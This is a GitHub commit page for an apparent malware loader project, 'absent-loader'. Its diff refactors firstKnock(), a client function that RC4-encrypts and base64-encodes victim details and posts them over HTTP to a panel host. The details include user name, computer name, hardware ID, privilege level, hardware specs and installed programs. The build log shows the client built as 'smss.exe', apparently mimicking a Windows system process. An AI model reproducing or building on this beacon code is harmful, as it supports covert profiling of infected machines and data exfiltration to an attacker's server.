Skip to content

Commit

Permalink
Refactored firstKnock()
Browse files Browse the repository at this point in the history
  • Loading branch information
yatt-ze committed Apr 25, 2019
1 parent dd54f78 commit e3bc9b6
Show file tree
Hide file tree
Showing 12 changed files with 6 additions and 19 deletions.
Binary file modified Client/Full/AbSentClientFull/.vs/AbSentClientFull/v15/.suo
Binary file not shown.
Binary file not shown.
19 changes: 3 additions & 16 deletions Client/Full/AbSentClientFull/AbSentClientFull/AbSent/comm/panel.h
Original file line number Diff line number Diff line change
Expand Up @@ -22,22 +22,9 @@ namespace absent
std::string firstKnock(std::string host, std::string path, nlohmann::json info, std::string key)
{
absent::crypto::RC4 rc4;
info["bn"] = absent::crypto::b64::encode(rc4.crypt(info["bn"], key).c_str()); //Build Name
info["bn"] = absent::crypto::b64::encode(rc4.crypt(info["bt"], key).c_str()); //Build Type
info["bn"] = absent::crypto::b64::encode(rc4.crypt(info["bu"], key).c_str()); //Build
info["hw"] = absent::crypto::b64::encode(rc4.crypt(info["hw"], key).c_str()); //Hardware Id
info["un"] = absent::crypto::b64::encode(rc4.crypt(info["un"], key).c_str()); //User Name
info["cn"] = absent::crypto::b64::encode(rc4.crypt(info["cn"], key).c_str()); //Computer Name
info["os"] = absent::crypto::b64::encode(rc4.crypt(info["os"], key).c_str()); //Operating System
info["pr"] = absent::crypto::b64::encode(rc4.crypt(info["pr"], key).c_str()); //Client Privlege
info["ip"] = absent::crypto::b64::encode(rc4.crypt(info["ip"], key).c_str()); //Install Path
info["cp"] = absent::crypto::b64::encode(rc4.crypt(info["cp"], key).c_str()); //Cpu Info
info["ca"] = absent::crypto::b64::encode(rc4.crypt(info["ca"], key).c_str()); //Cpu Architecture
info["cc"] = absent::crypto::b64::encode(rc4.crypt(info["cc"], key).c_str()); //Cpu Core Count
info["gp"] = absent::crypto::b64::encode(rc4.crypt(info["gp"], key).c_str()); //Gpu
info["ra"] = absent::crypto::b64::encode(rc4.crypt(info["ra"], key).c_str()); //Ram
info["vr"] = absent::crypto::b64::encode(rc4.crypt(info["vr"], key).c_str()); //Vram
for (int ip = 0; ip < info["fp"].size(); ip++) {info["fp"][ip] = absent::crypto::b64::encode(rc4.crypt(info["fp"][ip], key).c_str());} //Found / Installed Programs

for (auto& el : info.items()) { if (el.key() != "fp") { el.value() = absent::crypto::b64::encode(rc4.crypt(el.value(), key).c_str()); } }
for (int ip = 0; ip < info["fp"].size(); ip++) { info["fp"][ip] = absent::crypto::b64::encode(rc4.crypt(info["fp"][ip], key).c_str()); }
std::string toSend = absent::crypto::b64::encode(info.dump().c_str());

return absent::http::post(host, path, toSend);
Expand Down
Binary file modified Client/Full/AbSentClientFull/AbSentClientFull/AbSentClientFull.cpp
Binary file not shown.
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,8 @@ f:\documents\programming\absent-loader\client\full\absentclientfull\absentclient
f:\documents\programming\absent-loader\client\full\absentclientfull\absentclientfull\absent\config.h(76): warning C4309: 'argument': truncation of constant value
f:\documents\programming\absent-loader\client\full\absentclientfull\absentclientfull\absent\info\info.h(7): warning C4305: 'argument': truncation from '__int64' to 'int'
f:\documents\programming\absent-loader\client\full\absentclientfull\absentclientfull\absent\info\info.h(7): warning C4309: 'argument': truncation of constant value
f:\documents\programming\absent-loader\client\full\absentclientfull\absentclientfull\absent\info\info.h(172): warning C4390: ';': empty controlled statement found; is this the intent?
f:\documents\programming\absent-loader\client\full\absentclientfull\absentclientfull\absent\info\info.h(191): warning C4244: '=': conversion from 'DWORDLONG' to 'int', possible loss of data
f:\documents\programming\absent-loader\client\full\absentclientfull\absentclientfull\absent\info\info.h(174): warning C4390: ';': empty controlled statement found; is this the intent?
f:\documents\programming\absent-loader\client\full\absentclientfull\absentclientfull\absent\info\info.h(193): warning C4244: '=': conversion from 'DWORDLONG' to 'int', possible loss of data
f:\documents\programming\absent-loader\client\full\absentclientfull\absentclientfull\absent\comm\http.h(83): warning C4390: ';': empty controlled statement found; is this the intent?
f:\documents\programming\absent-loader\client\full\absentclientfull\absentclientfull\absent\comm\panel.h(58): warning C4018: '<': signed/unsigned mismatch
f:\documents\programming\absent-loader\client\full\absentclientfull\absentclientfull\absent\comm\panel.h(27): warning C4018: '<': signed/unsigned mismatch
AbSentClientFull.vcxproj -> F:\Documents\Programming\absent-loader\Client\Full\AbSentClientFull\Debug\smss.exe
Binary file not shown.
Binary file not shown.
Binary file modified Client/Full/AbSentClientFull/AbSentClientFull/Debug/vc141.idb
Binary file not shown.
Binary file not shown.
Binary file modified Client/Full/AbSentClientFull/Debug/smss.exe
Binary file not shown.
Binary file modified Client/Full/AbSentClientFull/Debug/smss.ilk
Binary file not shown.
Binary file modified Client/Full/AbSentClientFull/Debug/smss.pdb
Binary file not shown.

0 comments on commit e3bc9b6

Please sign in to comment.